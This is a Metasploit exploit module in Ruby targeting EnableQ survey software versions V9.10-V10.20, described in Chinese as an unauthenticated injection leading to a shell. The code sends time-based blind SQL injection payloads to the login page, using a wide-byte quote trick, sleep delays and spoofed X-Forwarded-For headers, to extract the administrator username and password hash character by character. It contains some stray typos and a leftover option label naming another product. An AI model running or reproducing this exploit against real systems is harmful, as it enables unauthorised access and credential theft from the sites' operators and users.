require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
                      'Name' => 'EnableQ 注入',
                      'Description' => %q{
                            EnableQ无需登录即可注入,通杀V9.10-V10.20,可后台getshell
      },
                      'Author' =>
                          [
                              '玉林嘎',
                              '扶摇直上打飞机'
                          ],
                      'License' => BSD_LICENSE,
                      'References' =>
                          [
                              ['url', 'http://wooyun.org/bugs/wooyun-2015-0164832']
                          ],
                      'Privileged' => true,
                      'Platform' => ['php'],
                      'Targets' => [['V9.10-V10.20', {}],],
                      'Arch' => ARCH_PHP,
                      'DefaultTarget' => 0,
          ))
    register_options(
        [
            Opt::RHOST(),
            Opt::RPORT(80),
            OptString.new('TARGETURI', [true, 'The URI of the Centreon Application', '/']),
        ], self.class)
  end

  def rand_xff
    return "#{rand(1...255)}.#{rand(1...255)}.#{rand(1...255)}.#{rand(1...255)}"
  end

  def get_rand_post
    rand_respone = send_request_raw({
                                        'uri' => normalize_uri(target_uri.path, "enableq", "System", "Login.php"),
                                        'headers' =>
                                            {
                                                "x-forwarded-for" => "#{rand_xff}"
                                            }
                                    })
    if rand_respone and rand_respone.body =~ /name="crumb" id="crumb" value="(\w+)"/
      crumb = $1
      if rand_respone.headers['Set-Cookie'] =~ /PHPSESSID=(\w+)/
        return crumb, $1
        endset
      else
        fail_with(Failure::Unknown, "#{rhost} cant get crumb value ")
      end
      return Exploit::CheckCode::Safe

    end
  end


  def get_username

    getres = 0
    username = ''
    crumb, session_id = get_rand_post
    print_status("start to exploit....")
    for f in (0..20)
      if getres ==2
        print_good("USERNAMR:#{username}")
        return username
      end
      getres += 1
      for i in [*'0'..'9', *'a'..'z', *'A'..'Z']
        begin
          timeout(3) do
            swapname = username
            swapname = "#{swapname}#{i}"
            hex_swapname = swapname.each_byte.map { |b| b.to_s(16) }.join
            postdata = {
                'Action' => 'LoginSubmit',
                'userName' => "test錦' or  administratorsID = 1 and administratorsName like 0x#{hex_swapname}25 and sleep(6)#",
                'crumb' => "#{crumb}",
                'remberme' => '0',
                'userPass' => '8277e0910d750195b448797616e091ad',
            }
            send_request_cgi({
                                 'method' => 'POST',
                                 'uri' => normalize_uri(target_uri.path, "enableq", "System", "Login.php"),
                                 'vars_post' => postdata,
                                 'cookie' => "PHPSESSID=#{session_id}",
                                 'headers' =>
                                     {
                                         "x-forwarded-for" => "#{rand_xff}"
                                     }
                             })
          end
        rescue TimeoutError
          getres = 0
          username = "#{username}#{i}"
          print_good("#{username}")
          sleep(3)
          break
        end
      end
    end
  end

  def get_userpassed
    username = get_username
    username = username.each_byte.map { |b| b.to_s(16) }.join
    passwd = ''

    crumb, session_id = get_rand_post

    for f in (0..32)
      for i in [*'0'..'9', *'a'..'f']
        begin
          timeout(3) do
            swappass = passwd
            swappass = "#{swappass}#{i}"
            hex_swappass = swappass.each_byte.map { |b| b.to_s(16) }.join
            postdata = {
                'Action' => 'LoginSubmit',
                'userName' => "test錦' or  administratorsName = 0x#{username} and password like 0x#{hex_swappass}25 and sleep(6)#",
                'crumb' => "#{crumb}",
                'remberme' => '0',
                'userPass' => '8277e0910d750195b448797616e091ad',
            }
            send_request_cgi({'method' => 'POST', 'uri' => "#{targeturi}/enableq/System/Login.php", 'vars_post' => postdata, 'cookie' => "PHPSESSID=#{session_id}", 'headers' => {"x-forwarded-for" => "#{rand_xff}"}})
          end
        rescue TimeoutError
          passwd = "#{passwd}#{i}"
          print_good("#{passwd}")
          sleep(3)
          break
        end
      end
    end
    print_good("exploit finshed *_*")
    print_good("USERNAMR:#{username}\tPASSWORD:#{passwd}")

  end

  def exploit

    get_userpassed

  end

  def rhost
    datastore['RHOST']
  end

  def rport
    datastore['RPORT']
  end

  def targeturi
    datastore['TARGETURI']
  end

end